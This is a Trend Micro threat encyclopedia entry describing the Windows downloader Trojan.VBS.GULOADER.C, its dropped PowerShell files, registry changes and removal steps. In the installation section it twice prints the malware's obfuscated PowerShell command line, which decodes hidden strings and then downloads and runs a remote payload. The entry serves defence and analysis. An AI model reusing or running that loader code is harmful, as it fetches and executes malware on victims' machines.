Trojan.VBS.GULOADER.C


 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

21,121 bytes

File Type:

, VBS

Memory Resident:

No

Initial Samples Received Date:

29 Jan 2024

Payload:

Drops files, Modifies system registry

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %User Temp%\{Random character}.{Random 3 character}.ps1 → Deleted afterward
  • %User Temp%\{Random character}.{Random 3 character}.psm1 → Deleted afterward

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

It adds the following processes:

  • "%System%\WindowsPowerShell\v1.0\powershell.exe" "<#Malignitet Indeh Born Quinde Trissebl Aflggel #>;Function Augiteops ([String]$deaf){$Pedaletmel=8;$regardle=autophoned4($deaf);For($Henvenden=7; $Henvenden -lt $regardle; $Henvenden+=$Pedaletmel){$autophoned=$autophoned+$deaf.Substring($Henvenden, 1)};$autophoned;}function Fremst ($Antiradia216){. ($autophoned01) ($Antiradia216);}function autophoned4 ([String]$tekstkolon){$Slvpap1=$tekstkolon.Length-1;$Slvpap1;}$autophoned02=Augiteops 'BrstfldTBattalirHandelsaFjortennEksekutsUnphysifOrbitoleFairingr SpionkrEnvinegiDamspilnSelvretgTyleriz ';$Bromb=Augiteops 'amountrhAabnetctColeadetSaveloyp UnprossVaretog:Loudnes/ palaic/TaiwanecPastoradStoejdenfastfry.ReptiledCooklesiSigfriesLykkeflcTyristooBeskrivrFinessed freezea FamilipPolitikpAlcafab.Adosseec AjlefooExtramomQuadrag/ Hugorma Unconft ChampatNykkevaaHighmancMiljomrh CrudedmBsningeeIfrelsenphenebet LubricsTurcykl/ Kampmo1nonradi1Syddans9Corpusc9 Farand4Epigoni6Boligve4 atrofi8 lovfst2Fjerdep3Tumorer7Jasmint3 Eviden0Palaemo2Judicia1Radixer2Perling9Kataple5 Krligh8Rigsdag/Smaabor1Nonsanc2 Pallal0Glutton1Geometr3Driftsr1Whimsic1Udicsti7Lymphoc7Dragone4Bommesi2Picture4Genesis7 skorst5Crewsfo0Paction1Ombukke8 Fluctu8Korende5 anpart/CysticeL torpederesponduChamoiscSweepboo ResilecUncountaYapness.AutovastfremganoFurculacBarracu?OpbyggeeStyrketxLiberti=Bombekr6Angloma5 ByggetcKulturt9Patriar5DestabibProblemcAaretol6Unthron&RejfniniOprresus Biavle=Tuninge6 Gridor5 TuracobTilstaa6Unoxidie Opstni6EdacioucOutdoor6Drkelut&afgifteh CcwsdomUnsolic=Coadmin7Autosto9hstngebfBrittle9FedteradOverswecIsdanne9 Syssel2FeriaudcBigband6Archeoc5Personk9Bequeat4 Gldfys6Bendayibbrugerv7Grundla4SleepifdFolkeva4Epithal1 Betros3DematereGuglios3OverhldbSylespib BacchafPreiden8Aandsar3 Gennem3Girning3 Sprong2Toplededbydreng9StellarfZeoideiaEmuwrenaHilarudcWiggyspdgastrilcTilvnni7Pastori7Salteka8PortligdSubalte5Strutsd7 VgtigsbWormisha Tjalke4Eksport4BestvnicSvmmefudSubtilid Udfrdi7Generald Exoenz4UnheleubUrbefolcFanione5 Dropss9 Diabol2Hypopne5Trefods1Fabuler1Halophy2Preabso&Uncrink ';$autophoned01=Augiteops 'bonangviWallopse ElskelxFiskere ';$autophoned00=Augiteops 'Adminis$WaitsslgCrossbilFeatishoAfterwib SvinemaPhoniatl Garant:DorstenS RefrnslMannequvGeneralpOrdbgeraSpacemapPreoccl8Misawar Fairshi=Immatch annexatS ConventForordeaAnlistorCurvetit Stemme- VeepscBOvoglobiBrandspt KoffarsLvhangbT UnsummrStetikkaTipsprmnBowleresFolkeskfBrevsamePosttetrGyrfalc kompone-PommardSHeartbrobieberiuEngastrrElectrocHomolece Kollag Aflaas$overdivB VarietrBradyteoVititehmlintwhibHarpune Erstatn-TrykpreDUltrasoestumfils spydsptEdenligi GenfdtnvelaminaMisgrebtBlindfdi HarpunoKahikatnRsonner Spritkr$PrinterSOmgaaetlPreguilvGuaymiepcoinhabaFuppetbpKlevogn2 Bankfu ';Fremst (Augiteops 'Kattele$ CardiagsubclaslEneboeroGarderobPrydelsa raphidlGravema:PrebuccSFibulaelWhiggifvReveredpOverposaHerrevrpRegelbu2Roeopta=Firehju$BasculaeinstrumnskuldervDupning: FabrikaMacawstpAbsurdcp GgehvidEpigramaConidiatfabiforaOesopha ') ;Fremst (Augiteops 'AnademuIBededagm Sanselp TuchisoTndrrenrPyjamastPhotona-AftermeMOpgavefoHretikedAdamsiauLawterelEnergeteFleksti BundfalBEkstrapiTaxiflytUndersgsPejlstrTTekstberVougeotabodelinn Beanbas DolentfBogskrieAkovderr rollba ') ;$Slvpap2=$Slvpap2+'\Hyrdebreve.thr' ;Fremst (Augiteops ' Kalkbr$StikningMornernl PhotogoGraverebMaythesaSamlebrlGlatrag:MacroceS XenophlgadedrevAlbestopLstansaa Unaffep Mollis7Caville=Unffroz( TjsnorTpostscre SelvpesFdrelant Ansvar-AngdxliPTvrretnaBirthbetUndejech Fordyb Tilgode$elsdyrsSRrligerlRadiumiv BurglapEksportaCapsulip Psilos2Udrejse)Hyalino ') ;while (-not $Slvpap7) {Fremst (Augiteops 'IntensiIDeadlinfPsykote Tunnelm(Usandfr$ SknhedSStrakedldiagramv KonspipConservaRationap Umulig8Parrysy.TingsteJHaandkloOverfatbBifagssSVanhellt GullabaTawpisptHildeboeZacaton Spelaea-HaveejeeCaesalpqDiluvia Spirobr$ registaoutcatcu MandbatWoodwiso Lyophip lavasvhDimensio BedstenStiltoneDenomindInconcu0Literal2Borgers) Forkrl Deucei{ UnbathSSalathot Budgeta aleriorActivattSerabci-PaahngsSJurymedlInconjoeReadiedecleistopweeklon Pellets1Overimm}ForhaanetrisserlInsipidsRacemsseFagbibl{NicenesS PhyllotOceanetagasslanrHyperaetKapital- WailjeSafstaael NotedoeTolergseBranchipMbelpol Redenia1Emissio; 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    powershell "<#Malignitet Indeh Born Quinde Trissebl Aflggel #>;Function Augiteops ([String]$deaf){$Pedaletmel=8;$regardle=autophoned4($deaf);For($Henvenden=7; $Henvenden -lt $regardle; $Henvenden+=$Pedaletmel){$autophoned=$autophoned+$deaf.Substring($Henvenden, 1)};$autophoned;}function Fremst ($Antiradia216){. ($autophoned01) ($Antiradia216);}function autophoned4 ([String]$tekstkolon){$Slvpap1=$tekstkolon.Length-1;$Slvpap1;}$autophoned02=Augiteops 'BrstfldTBattalirHandelsaFjortennEksekutsUnphysifOrbitoleFairingr SpionkrEnvinegiDamspilnSelvretgTyleriz ';$Bromb=Augiteops 'amountrhAabnetctColeadetSaveloyp UnprossVaretog:Loudnes/ palaic/TaiwanecPastoradStoejdenfastfry.ReptiledCooklesiSigfriesLykkeflcTyristooBeskrivrFinessed freezea FamilipPolitikpAlcafab.Adosseec AjlefooExtramomQuadrag/ Hugorma Unconft ChampatNykkevaaHighmancMiljomrh CrudedmBsningeeIfrelsenphenebet LubricsTurcykl/ Kampmo1nonradi1Syddans9Corpusc9 Farand4Epigoni6Boligve4 atrofi8 lovfst2Fjerdep3Tumorer7Jasmint3 Eviden0Palaemo2Judicia1Radixer2Perling9Kataple5 Krligh8Rigsdag/Smaabor1Nonsanc2 Pallal0Glutton1Geometr3Driftsr1Whimsic1Udicsti7Lymphoc7Dragone4Bommesi2Picture4Genesis7 skorst5Crewsfo0Paction1Ombukke8 Fluctu8Korende5 anpart/CysticeL torpederesponduChamoiscSweepboo ResilecUncountaYapness.AutovastfremganoFurculacBarracu?OpbyggeeStyrketxLiberti=Bombekr6Angloma5 ByggetcKulturt9Patriar5DestabibProblemcAaretol6Unthron&RejfniniOprresus Biavle=Tuninge6 Gridor5 TuracobTilstaa6Unoxidie Opstni6EdacioucOutdoor6Drkelut&afgifteh CcwsdomUnsolic=Coadmin7Autosto9hstngebfBrittle9FedteradOverswecIsdanne9 Syssel2FeriaudcBigband6Archeoc5Personk9Bequeat4 Gldfys6Bendayibbrugerv7Grundla4SleepifdFolkeva4Epithal1 Betros3DematereGuglios3OverhldbSylespib BacchafPreiden8Aandsar3 Gennem3Girning3 Sprong2Toplededbydreng9StellarfZeoideiaEmuwrenaHilarudcWiggyspdgastrilcTilvnni7Pastori7Salteka8PortligdSubalte5Strutsd7 VgtigsbWormisha Tjalke4Eksport4BestvnicSvmmefudSubtilid Udfrdi7Generald Exoenz4UnheleubUrbefolcFanione5 Dropss9 Diabol2Hypopne5Trefods1Fabuler1Halophy2Preabso&Uncrink ';$autophoned01=Augiteops 'bonangviWallopse ElskelxFiskere ';$autophoned00=Augiteops 'Adminis$WaitsslgCrossbilFeatishoAfterwib SvinemaPhoniatl Garant:DorstenS RefrnslMannequvGeneralpOrdbgeraSpacemapPreoccl8Misawar Fairshi=Immatch annexatS ConventForordeaAnlistorCurvetit Stemme- VeepscBOvoglobiBrandspt KoffarsLvhangbT UnsummrStetikkaTipsprmnBowleresFolkeskfBrevsamePosttetrGyrfalc kompone-PommardSHeartbrobieberiuEngastrrElectrocHomolece Kollag Aflaas$overdivB VarietrBradyteoVititehmlintwhibHarpune Erstatn-TrykpreDUltrasoestumfils spydsptEdenligi GenfdtnvelaminaMisgrebtBlindfdi HarpunoKahikatnRsonner Spritkr$PrinterSOmgaaetlPreguilvGuaymiepcoinhabaFuppetbpKlevogn2 Bankfu ';Fremst (Augiteops 'Kattele$ CardiagsubclaslEneboeroGarderobPrydelsa raphidlGravema:PrebuccSFibulaelWhiggifvReveredpOverposaHerrevrpRegelbu2Roeopta=Firehju$BasculaeinstrumnskuldervDupning: FabrikaMacawstpAbsurdcp GgehvidEpigramaConidiatfabiforaOesopha ') ;Fremst (Augiteops 'AnademuIBededagm Sanselp TuchisoTndrrenrPyjamastPhotona-AftermeMOpgavefoHretikedAdamsiauLawterelEnergeteFleksti BundfalBEkstrapiTaxiflytUndersgsPejlstrTTekstberVougeotabodelinn Beanbas DolentfBogskrieAkovderr rollba ') ;$Slvpap2=$Slvpap2+'\Hyrdebreve.thr' ;Fremst (Augiteops ' Kalkbr$StikningMornernl PhotogoGraverebMaythesaSamlebrlGlatrag:MacroceS XenophlgadedrevAlbestopLstansaa Unaffep Mollis7Caville=Unffroz( TjsnorTpostscre SelvpesFdrelant Ansvar-AngdxliPTvrretnaBirthbetUndejech Fordyb Tilgode$elsdyrsSRrligerlRadiumiv BurglapEksportaCapsulip Psilos2Udrejse)Hyalino ') ;while (-not $Slvpap7) {Fremst (Augiteops 'IntensiIDeadlinfPsykote Tunnelm(Usandfr$ SknhedSStrakedldiagramv KonspipConservaRationap Umulig8Parrysy.TingsteJHaandkloOverfatbBifagssSVanhellt GullabaTawpisptHildeboeZacaton Spelaea-HaveejeeCaesalpqDiluvia Spirobr$ registaoutcatcu MandbatWoodwiso Lyophip lavasvhDimensio BedstenStiltoneDenomindInconcu0Literal2Borgers) Forkrl Deucei{ UnbathSSalathot Budgeta aleriorActivattSerabci-PaahngsSJurymedlInconjoeReadiedecleistopweeklon Pellets1Overimm}ForhaanetrisserlInsipidsRacemsseFagbibl{NicenesS PhyllotOceanetagasslanrHyperaetKapital- WailjeSafstaael NotedoeTolergseBranchipMbelpol Redenia1Emissio; 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(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

Other System Modifications

This Trojan modifies the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
UNCAsIntranet = 0

(Note: The default value data of the said registry entry is 1.)

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Internet Settings\
ZoneMap
AutoDetect = 1

(Note: The default value data of the said registry entry is 0.)

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

19.126.04

FIRST VSAPI PATTERN DATE:

29 Jan 2024

VSAPI OPR PATTERN File:

19.127.00

VSAPI OPR PATTERN Date:

30 Jan 2024

Step 1

Trend Micro Predictive Machine Learning detects and blocks malware at the first sign of its existence, before it executes on your system. When enabled, your Trend Micro product detects this malware under the following machine learning name:

     
    • Downloader.VBS.TRX.XXVBS82EFF046

Step 2

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 3

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 4

Restore this modified registry value

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Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
  • UNCAsIntranet = 0
  • UNCAsIntranet = 1
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
  • AutoDetect = 1
  • AutoDetect = 0

Step 5

Search and delete this file

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There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\{Random character}.{Random 3 character}.ps1
  • %User Temp%\{Random character}.{Random 3 character}.psm1

Step 6

Scan your computer with your Trend Micro product to delete files detected as Trojan.VBS.GULOADER.C. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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